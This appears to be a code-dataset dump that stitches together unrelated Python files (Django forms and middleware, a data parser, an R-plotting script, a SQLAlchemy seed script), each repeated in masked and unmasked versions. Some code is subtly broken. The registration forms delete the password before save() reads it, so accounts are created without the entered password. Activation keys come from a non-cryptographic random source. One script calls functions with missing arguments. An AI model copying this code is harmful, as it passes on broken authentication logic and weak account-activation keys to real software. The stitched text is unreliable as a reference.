field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='coach_calendar', to='training_area.Coach'),
),
]
| [
0,
1,
2,
3,
4
] |
9,918 | 2eddd446dc59695b185be368b359bae78a868b90 |
##Problem 10 «The number of even elements of the sequence» (Medium)
##Statement
##Determine the number of even elements in the sequence ending with the number 0.
a = True
i = 0
while a is True:
x = int(input())
if x != 0:
if x%2 == 0:
i = i+1
else:
a =False
print(i)
| null | null | null | null | [
0
] |
9,919 | 839d4182663983a03975465d3909631bd6db1d83 | <mask token>
class TimezoneMiddleware(object):
<mask token>
<mask token>
| <mask token>
class TimezoneMiddleware(object):
<mask token>
def process_request(self, request):
user = request.user
if hasattr(user, 'profile'):
user_tz = user.profile.timezone
timezone.activate(pytz.timezone(user_tz))
else:
timezone.activate(pytz.timezone('UTC'))
| <mask token>
class TimezoneMiddleware(object):
""" Middleware to get user's timezone and activate timezone
if user timezone is not available default value 'UTC' is activated """
def process_request(self, request):
user = request.user
if hasattr(user, 'profile'):
user_tz = user.profile.timezone
timezone.activate(pytz.timezone(user_tz))
else:
timezone.activate(pytz.timezone('UTC'))
| import pytz
from django.utils import timezone
class TimezoneMiddleware(object):
""" Middleware to get user's timezone and activate timezone
if user timezone is not available default value 'UTC' is activated """
def process_request(self, request):
user = request.user
if hasattr(user, 'profile'):
user_tz = user.profile.timezone
timezone.activate(pytz.timezone(user_tz))
else:
timezone.activate(pytz.timezone('UTC'))
| import pytz
from django.utils import timezone
class TimezoneMiddleware(object):
""" Middleware to get user's timezone and activate timezone
if user timezone is not available default value 'UTC' is activated """
def process_request(self, request):
user = request.user
if hasattr(user, 'profile'):
user_tz = user.profile.timezone
timezone.activate(pytz.timezone(user_tz))
else:
timezone.activate(pytz.timezone('UTC'))
| [
1,
2,
3,
4,
5
] |
9,920 | f6b2169a4644f4f39bbdebd9bb9c7cc637b54f8b | <mask token>
| <mask token>
def main():
format_string = '%s %s %s %s %s %s %s %s %s\n'
while True:
edit = [sys.stdin.readline() for i in range(14)]
if edit[13] == '':
break
revision = edit[0].split(' ')
article_id, rev_id, title, timestamp, username, user_id = ('a' +
revision[1], 'e' + revision[2], revision[3], revision[4],
revision[5], 'u' + revision[6].strip())
if user_id.startswith('uip'):
continue
category_line = edit[1].split(' ')
if len(category_line) != 1:
category = category_line[1].strip()
else:
category = ''
minor = edit[11].split(' ')[1].strip()
word_count = edit[12].split(' ')[1].strip()
outline = format_string % (article_id, rev_id, user_id, username,
title, timestamp, category, minor, word_count)
sys.stdout.write(outline)
<mask token>
| <mask token>
def main():
format_string = '%s %s %s %s %s %s %s %s %s\n'
while True:
edit = [sys.stdin.readline() for i in range(14)]
if edit[13] == '':
break
revision = edit[0].split(' ')
article_id, rev_id, title, timestamp, username, user_id = ('a' +
revision[1], 'e' + revision[2], revision[3], revision[4],
revision[5], 'u' + revision[6].strip())
if user_id.startswith('uip'):
continue
category_line = edit[1].split(' ')
if len(category_line) != 1:
category = category_line[1].strip()
else:
category = ''
minor = edit[11].split(' ')[1].strip()
word_count = edit[12].split(' ')[1].strip()
outline = format_string % (article_id, rev_id, user_id, username,
title, timestamp, category, minor, word_count)
sys.stdout.write(outline)
if __name__ == '__main__':
main()
| import sys
def main():
format_string = '%s %s %s %s %s %s %s %s %s\n'
while True:
edit = [sys.stdin.readline() for i in range(14)]
if edit[13] == '':
break
revision = edit[0].split(' ')
article_id, rev_id, title, timestamp, username, user_id = ('a' +
revision[1], 'e' + revision[2], revision[3], revision[4],
revision[5], 'u' + revision[6].strip())
if user_id.startswith('uip'):
continue
category_line = edit[1].split(' ')
if len(category_line) != 1:
category = category_line[1].strip()
else:
category = ''
minor = edit[11].split(' ')[1].strip()
word_count = edit[12].split(' ')[1].strip()
outline = format_string % (article_id, rev_id, user_id, username,
title, timestamp, category, minor, word_count)
sys.stdout.write(outline)
if __name__ == '__main__':
main()
| import sys
def main():
# String to format output
format_string = "%s %s %s %s %s %s %s %s %s\n"
while True:
# Read 14 lines at a time from stdin for wikipedia dataset
edit = [sys.stdin.readline() for i in range(14)]
# Break if we've reached the end of stdin
if edit[13] == "":
break
# Parse data from revision line
revision = edit[0].split(' ')
article_id,rev_id,title,timestamp,username,user_id = 'a'+revision[1],'e'+revision[2],revision[3],revision[4],revision[5],'u'+revision[6].strip()
# Ignore anonymous edits
if user_id.startswith('uip'):
continue
# Parse article category
category_line = edit[1].split(' ')
if len(category_line) != 1:
category = category_line[1].strip()
else:
category = ""
# Parse whether edit is minor and number of words edited
minor = edit[11].split(' ')[1].strip()
word_count = edit[12].split(' ')[1].strip()
# Create output line and write to stdout
outline = format_string % (article_id,rev_id,user_id,username,title,timestamp,category,minor,word_count)
sys.stdout.write(outline)
if __name__ == '__main__':
main() | [
0,
1,
2,
3,
4
] |
9,921 | 05f5931a53c9916f151f42910575f9c5533bfceb | import sys
import HTSeq
import re
import string
import glob
import os
import time
import difflib
import argparse
def parse_input():
parser = argparse.ArgumentParser(description="""
USAGE: python make_figs.py -f data_file
""")
# If the -b option is used, tRNAs with no tails are not counted.
# This speeds up the removal of duplicates for large datasets
#parser.add_option("-b", "--blanks", action="store_false", dest="includeBlankTails", default=True)
parser.add_argument("-f", "--data_file", action="store",
dest="data_file",
help="Filename of data.")
args = parser.parse_args()
return args
def write_most_common_tails(inserts, base_filename, control=False):
for exp in inserts:
with open("%s_%s" % (base_filename,
os.path.basename(exp).rstrip('.inserts').rstrip(
'.fastq')),
'w') as f:
if(not control):
lines = inserts[exp].write_table_of_most_common_tails(control)
if(control):
lines = inserts[exp].write_table_of_most_common_tails(
control, get_pvalues=True)
f.write(lines)
def parse_data_file(filename):
data = {}
print "Opening %s with file size %i..." % (
filename, os.path.getsize(filename))
with open(filename, 'r') as f:
dataset = ""
for li in f:
#print li
s = li.strip('\n').split('\t')
m = re.match(r'number tails in ([^:]+):.*', li)
if(m is not None):
dataset = m.group(1)
dataset = os.path.basename(dataset)
cur_dataset = dataset
data[dataset] = {'n_tails': s[1:]}
continue
m = re.match(r'([AGCTN]):.*', s[0])
if(m is not None):
data[dataset][m.group(1)] = s[1:]
continue
m = re.match(r'tail length:.*', li)
if(m is not None):
data[dataset]['tail_len'] = s[1:]
continue
m = re.match(r'.*Number of unique.*', li)
if(m is not None):
data[dataset]['n_unique'] = s[1:]
continue
return data
def check_data_agreement(data):
for exp in data:
max_range = min(len(data[exp]['n_tails']),
len(data[exp]['tail_len']),
len(data[exp]['n_unique']))
n_tails = 0
for index in range(1, max_range-1):
try:
n_tails += float(data[exp]['n_tails'][index])
except:
print "Error at %s, %i" % (exp, index)
print "%s: total tails=%f" % (exp, n_tails)
def write_for_R(data, src_path):
src_path = os.path.dirname(os.path.realpath(__file__))
files_for_R = list()
check_data_agreement(data)
for exp in data:
with open("%s/figs/%s.forR" % (
src_path, exp.rstrip('.fastq.inserts')
), 'w') as f:
li = "tail_len\tn_tails\tn_unique\tA\tC\tT\tG\n"
max_range = min(len(data[exp]['n_tails']),
len(data[exp]['tail_len']),
len(data[exp]['n_unique']))
for index in range(0, max_range):
li += "%s\t%s\t%s\t%s\t%s\t%s\t%s\n" % (
data[exp]['tail_len'][index],
data[exp]['n_tails'][index],
data[exp]['n_unique'][index],
data[exp]['A'][index],
data[exp]['C'][index],
data[exp]['T'][index],
data[exp]['G'][index])
f.write(li)
files_for_R.append("%s/figs/%s.forR" % (
src_path, exp.rstrip('.fastq.inserts')))
return files_for_R
def r_script_for_barplot(files_for_R, src_path):
for filename in files_for_R:
li = """
f = read.table("%s", head=T)""" % filename
li += """
bases = as.data.frame(cbind(f$A, f$C, f$T, f$G))
m = as.matrix(bases)
outfname = "%s/figs/barplot_%s.eps"
""" % (src_path, os.path.basename(filename))
li += r'''
library(RColorBrewer)
my_cols <- brewer.pal(4, "RdBu")
setEPS(width=5,height=3); postscript(outfname)
barplot(t(m), xlab = 'Tail length',
ylab = 'Percent base composition',
legend=c('A','C','T','G'), col=my_cols)
dev.off()
'''
li += """
outfname = "%s/figs/plot_%s.eps"
""" % (src_path, os.path.basename(filename))
li += r'''
library(RColorBrewer)
my_cols <- brewer.pal(4, "RdBu")
setEPS(width=5,height=10); postscript(outfname)
par(mfrow=c(3,1))
plot(f$n_tails, x=f$tail_len, type='l', xlab='Tail length',
ylab='Number of tails')
plot(f$n_unique, x=f$tail_len, type='l', xlab='Tail length',
ylab='Number of unique tails')
barplot(t(m), xlab = 'Tail length',
ylab = 'Percent base composition',
legend=c('A','C','T','G'), col=my_cols)
dev.off()
'''
with open('tmp.r', 'w') as f:
f.write(li)
cmdl = """R CMD BATCH tmp.r"""
os.system(cmdl)
def make_figs(data_filename, src_path):
print "In make_figs. Processing file %s" % data_filename
data = parse_data_file(data_filename)
if(not os.path.exists(src_path + "/figs")):
print "making %s/figs" % src_path
os.system("mkdir %s/figs" % src_path)
files_for_R = write_for_R(data, src_path)
r_script_for_barplot(files_for_R, src_path)
if __name__ == '__main__':
src_path = os.path.dirname(os.path.realpath(__file__))
args = parse_input()
data = parse_data_file(args.data_file)
if(not os.path.exists(src_path + '/figs')):
os.system('mkdir ' + src_path + '/figs')
files_for_R = write_for_R(data)
r_script_for_barplot(files_for_R)
| null | null | null | null | [
0
] |
9,922 | 5f680fb21fe1090dfb58f5b9260739b91ae04d99 | <mask token>
class UserRegistrationForm(forms.Form):
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
def save(self):
new_user = User.objects.create_user(self.cleaned_data['email'],
self.cleaned_data['email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['first_name']
new_user.last_name = self.cleaned_data['last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username
).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
key_obj = ActivationKey(user=new_user, activation_key=
activation_key, key_expires=key_expires)
key_obj.save()
new_profile = UserProfile(user=new_user, account_type=UserProfile.
ACCOUNT_VOLUNTEER)
new_profile.save()
return new_user
class OrganizationRegistrationForm(forms.Form):
business_name = forms.CharField(required=True, max_length=60)
primary_contact_first_name = forms.CharField(required=True, max_length=30)
primary_contact_last_name = forms.CharField(required=True, max_length=30)
primary_contact_phone = forms.CharField(required=True, max_length=30)
primary_contact_email = forms.EmailField(required=True, max_length=30)
password = forms.CharField(widget=forms.PasswordInput, min_length=
MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,
min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(), initial=
UserProfile.ACCOUNT_ORGANIZATION)
def clean(self):
cleaned_data = self.cleaned_data
try:
User.objects.get(username__exact=cleaned_data.get(
'primary_contact_email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError('Email already exists')
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError('Passwords do not match')
del cleaned_data['password']
del cleaned_data['confirm_password']
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data[
'primary_contact_email'], self.cleaned_data[
'primary_contact_email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['primary_contact_first_name']
new_user.last_name = self.cleaned_data['primary_contact_last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username
).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
new_profile = UserProfile(user=new_user, account_type=UserProfile.
ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[
'business_name'])
new_profile.save()
return new_user
| <mask token>
class UserRegistrationForm(forms.Form):
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
def clean(self):
cleaned_data = self.cleaned_data
try:
User.objects.get(username__exact=cleaned_data.get('email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError('Email already exists')
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError('Passwords do not match')
del cleaned_data['password']
del cleaned_data['confirm_password']
account_type = int(cleaned_data.get('form_type'))
if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=
UserProfile.ACCOUNT_ORGANIZATION):
raise forms.ValidationError('Invalid account type')
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data['email'],
self.cleaned_data['email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['first_name']
new_user.last_name = self.cleaned_data['last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username
).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
key_obj = ActivationKey(user=new_user, activation_key=
activation_key, key_expires=key_expires)
key_obj.save()
new_profile = UserProfile(user=new_user, account_type=UserProfile.
ACCOUNT_VOLUNTEER)
new_profile.save()
return new_user
class OrganizationRegistrationForm(forms.Form):
business_name = forms.CharField(required=True, max_length=60)
primary_contact_first_name = forms.CharField(required=True, max_length=30)
primary_contact_last_name = forms.CharField(required=True, max_length=30)
primary_contact_phone = forms.CharField(required=True, max_length=30)
primary_contact_email = forms.EmailField(required=True, max_length=30)
password = forms.CharField(widget=forms.PasswordInput, min_length=
MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,
min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(), initial=
UserProfile.ACCOUNT_ORGANIZATION)
def clean(self):
cleaned_data = self.cleaned_data
try:
User.objects.get(username__exact=cleaned_data.get(
'primary_contact_email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError('Email already exists')
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError('Passwords do not match')
del cleaned_data['password']
del cleaned_data['confirm_password']
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data[
'primary_contact_email'], self.cleaned_data[
'primary_contact_email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['primary_contact_first_name']
new_user.last_name = self.cleaned_data['primary_contact_last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username
).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
new_profile = UserProfile(user=new_user, account_type=UserProfile.
ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[
'business_name'])
new_profile.save()
return new_user
| <mask token>
class UserRegistrationForm(forms.Form):
first_name = forms.CharField(required=True, max_length=30)
last_name = forms.CharField(required=True, max_length=30)
email = forms.EmailField(required=True, max_length=30)
password = forms.CharField(widget=forms.PasswordInput, min_length=
MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,
min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(), initial=
UserProfile.ACCOUNT_VOLUNTEER)
def clean(self):
cleaned_data = self.cleaned_data
try:
User.objects.get(username__exact=cleaned_data.get('email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError('Email already exists')
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError('Passwords do not match')
del cleaned_data['password']
del cleaned_data['confirm_password']
account_type = int(cleaned_data.get('form_type'))
if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=
UserProfile.ACCOUNT_ORGANIZATION):
raise forms.ValidationError('Invalid account type')
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data['email'],
self.cleaned_data['email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['first_name']
new_user.last_name = self.cleaned_data['last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username
).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
key_obj = ActivationKey(user=new_user, activation_key=
activation_key, key_expires=key_expires)
key_obj.save()
new_profile = UserProfile(user=new_user, account_type=UserProfile.
ACCOUNT_VOLUNTEER)
new_profile.save()
return new_user
class OrganizationRegistrationForm(forms.Form):
business_name = forms.CharField(required=True, max_length=60)
primary_contact_first_name = forms.CharField(required=True, max_length=30)
primary_contact_last_name = forms.CharField(required=True, max_length=30)
primary_contact_phone = forms.CharField(required=True, max_length=30)
primary_contact_email = forms.EmailField(required=True, max_length=30)
password = forms.CharField(widget=forms.PasswordInput, min_length=
MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,
min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(), initial=
UserProfile.ACCOUNT_ORGANIZATION)
def clean(self):
cleaned_data = self.cleaned_data
try:
User.objects.get(username__exact=cleaned_data.get(
'primary_contact_email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError('Email already exists')
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError('Passwords do not match')
del cleaned_data['password']
del cleaned_data['confirm_password']
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data[
'primary_contact_email'], self.cleaned_data[
'primary_contact_email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['primary_contact_first_name']
new_user.last_name = self.cleaned_data['primary_contact_last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username
).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
new_profile = UserProfile(user=new_user, account_type=UserProfile.
ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[
'business_name'])
new_profile.save()
return new_user
| <mask token>
MIN_PASSWORD_LENGTH = 8
MAX_PASSWORD_LENGTH = 30
class UserRegistrationForm(forms.Form):
first_name = forms.CharField(required=True, max_length=30)
last_name = forms.CharField(required=True, max_length=30)
email = forms.EmailField(required=True, max_length=30)
password = forms.CharField(widget=forms.PasswordInput, min_length=
MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,
min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(), initial=
UserProfile.ACCOUNT_VOLUNTEER)
def clean(self):
cleaned_data = self.cleaned_data
try:
User.objects.get(username__exact=cleaned_data.get('email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError('Email already exists')
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError('Passwords do not match')
del cleaned_data['password']
del cleaned_data['confirm_password']
account_type = int(cleaned_data.get('form_type'))
if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=
UserProfile.ACCOUNT_ORGANIZATION):
raise forms.ValidationError('Invalid account type')
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data['email'],
self.cleaned_data['email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['first_name']
new_user.last_name = self.cleaned_data['last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username
).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
key_obj = ActivationKey(user=new_user, activation_key=
activation_key, key_expires=key_expires)
key_obj.save()
new_profile = UserProfile(user=new_user, account_type=UserProfile.
ACCOUNT_VOLUNTEER)
new_profile.save()
return new_user
class OrganizationRegistrationForm(forms.Form):
business_name = forms.CharField(required=True, max_length=60)
primary_contact_first_name = forms.CharField(required=True, max_length=30)
primary_contact_last_name = forms.CharField(required=True, max_length=30)
primary_contact_phone = forms.CharField(required=True, max_length=30)
primary_contact_email = forms.EmailField(required=True, max_length=30)
password = forms.CharField(widget=forms.PasswordInput, min_length=
MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,
min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(), initial=
UserProfile.ACCOUNT_ORGANIZATION)
def clean(self):
cleaned_data = self.cleaned_data
try:
User.objects.get(username__exact=cleaned_data.get(
'primary_contact_email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError('Email already exists')
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError('Passwords do not match')
del cleaned_data['password']
del cleaned_data['confirm_password']
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data[
'primary_contact_email'], self.cleaned_data[
'primary_contact_email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['primary_contact_first_name']
new_user.last_name = self.cleaned_data['primary_contact_last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username
).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
new_profile = UserProfile(user=new_user, account_type=UserProfile.
ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[
'business_name'])
new_profile.save()
return new_user
| from django import forms
from django.contrib.auth.models import User
from ServicePad.apps.account.models import UserProfile
import hashlib, random, datetime
from ServicePad.apps.registration.models import ActivationKey
MIN_PASSWORD_LENGTH=8
MAX_PASSWORD_LENGTH=30
class UserRegistrationForm(forms.Form):
first_name = forms.CharField(required=True,max_length=30)
last_name = forms.CharField(required=True,max_length=30)
email = forms.EmailField(required=True,max_length=30)
password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_VOLUNTEER)
def clean(self):
cleaned_data = self.cleaned_data
#Verify usernames
try:
User.objects.get(username__exact=cleaned_data.get('email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError("Email already exists")
#Verify Passwords
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError("Passwords do not match")
del cleaned_data['password']
del cleaned_data['confirm_password']
account_type = int(cleaned_data.get('form_type'))
if account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type != UserProfile.ACCOUNT_ORGANIZATION:
raise forms.ValidationError("Invalid account type")
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['first_name']
new_user.last_name = self.cleaned_data['last_name']
new_user.is_active = False
new_user.save()
#create the activation key
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
key_obj = ActivationKey(user=new_user,activation_key=activation_key,key_expires=key_expires)
key_obj.save()
new_profile = UserProfile(user=new_user,account_type=UserProfile.ACCOUNT_VOLUNTEER)
new_profile.save()
return new_user
class OrganizationRegistrationForm(forms.Form):
business_name = forms.CharField(required=True,max_length=60)
primary_contact_first_name = forms.CharField(required=True,max_length=30)
primary_contact_last_name = forms.CharField(required=True,max_length=30)
primary_contact_phone = forms.CharField(required=True,max_length=30)
primary_contact_email = forms.EmailField(required=True,max_length=30)
password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_ORGANIZATION)
def clean(self):
cleaned_data = self.cleaned_data
#Verify usernames
try:
User.objects.get(username__exact=cleaned_data.get('primary_contact_email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError("Email already exists")
#Verify Passwords
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError("Passwords do not match")
del cleaned_data['password']
del cleaned_data['confirm_password']
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data['primary_contact_email'], self.cleaned_data['primary_contact_email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['primary_contact_first_name']
new_user.last_name = self.cleaned_data['primary_contact_last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
new_profile = UserProfile(user=new_user,
account_type=UserProfile.ACCOUNT_ORGANIZATION,
business_name=self.cleaned_data['business_name']
)
new_profile.save()
return new_user
| [
6,
7,
8,
9,
11
] |
9,923 | 964499c02548a7e790d96efcd780f471ab1fe1e3 | from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from database_setup import Category, Base, CategoryItem, User
engine = create_engine('postgresql:///thegoodybasket')
# Bind the engine to the metadata of the Base class so that the
# declaratives can be accessed through a DBSession instance
Base.metadata.bind = engine
DBSession = sessionmaker(bind=engine)
# A DBSession() instance establishes all conversations with the database
# and represents a "staging zone" for all the objects loaded into the
# database session object. Any change made against the objects in the
# session won't be persisted into the database until you call
# session.commit(). If you're not happy about the changes, you can
# revert all of them back to the last commit by calling
# session.rollback()
session = DBSession()
# Create dummy user
User1 = User(name="Robo Barista", email="[email protected]",
picture='profile1.jpg')
session.add(User1)
session.commit()
User2 = User(name="Lisa Rodriguez", email="[email protected]",
picture='profile2.jpg')
session.add(User2)
session.commit()
User3 = User(name="Hannah Martin", email="[email protected]",
picture='profile3.jpg')
session.add(User3)
session.commit()
User4 = User(name="Brad Phillips", email="[email protected]",
picture='profile4.jpg')
session.add(User4)
session.commit()
User5 = User(name="Marv Robins", email="[email protected]",
picture='profile5.jpg')
session.add(User5)
session.commit()
User6 = User(name="Jennifer Andrews", email="[email protected]",
picture='profile6.jpg')
session.add(User6)
session.commit()
# items for Snowboarding
category1 = Category(user_id=1, name="Snowboarding")
session.add(category1)
session.commit()
categoryItem1 = CategoryItem(user_id=1, name="White Snowboard", description="Brand new white 145cm pro model. Also available in red, orange and grey.",
price="$250.00", picture="snowboard_white.jpg", category=category1)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=1, name="Snow Jacket", description="Warm and puffy red snow jacket. Perfect for keeping warm!",
price="$199.99", picture="jacket.jpg", category=category1)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=1, name="Snow Goggles", description="Brand new 2015 model anti-glare, removable lens and adjustable strap goggles.",
price="$49.99", picture="snow_goggles.jpg", category=category1)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=1, name="Snow Gloves", description="Thick and padded snow gloves to keep toasty hands. Available in red and black.",
price="$39.99", picture="ski_gloves.jpg", category=category1)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=1, name="Snow Hat", description="Keep your head warm with this knitted-by-hand snow hat.",
price="$17.99", picture="warm_hat.jpg", category=category1)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=1, name="Ray-Ban Aviators", description="Keep cool on the slopes with these huge aviators.",
price="$1.99", picture="ray_bans.jpg", category=category1)
session.add(categoryItem6)
session.commit()
# Items for Skiing
category2 = Category(user_id=2, name="Skiing")
session.add(category2)
session.commit()
categoryItem1 = CategoryItem(user_id=2, name="Ski Boots", description="Warm, lightweight and super rugged ski boots. Available in all sizes.",
price="$175.50", picture="ski_boots.jpg", category=category2)
session.add(categoryItem1)
session.commit()
categoryItem2 = CategoryItem(user_id=2, name="Ski Gloves", description="Padded and warm waterproof gloves, available in red and black.",
price="$52.99", picture="ski_gloves.jpg", category=category2)
session.add(categoryItem2)
session.commit()
categoryItem3 = CategoryItem(user_id=2, name="K2 Soloman Skis", description="Brand new 2015 Solomon K2 skis in size 175.",
price="$450.00", picture="k2_skis.jpg", category=category2)
session.add(categoryItem3)
session.commit()
categoryItem4 = CategoryItem(user_id=2, name="Walking Boots", description="Warm and weatherproof. Available in all sizes.",
price="$69.99", picture="walking_boots.jpg", category=category2)
session.add(categoryItem4)
session.commit()
categoryItem5 = CategoryItem(user_id=2, name="Enhanced walking boots", description="Made with grade A beef",
price="$7.99", picture="walking_boots.jpg", category=category2)
session.add(categoryItem5)
session.commit()
categoryItem6 = CategoryItem(user_id=2, name="Gold plated walking boots", description="16oz of refreshing goodness",
price="$1.99", picture="walking_boots.jpg", category=category2)
session.add(categoryItem6)
session.commit()
# Items for Laptops
category3 = Category(user_id=3, name="Laptops")
session.add(category3)
session.commit()
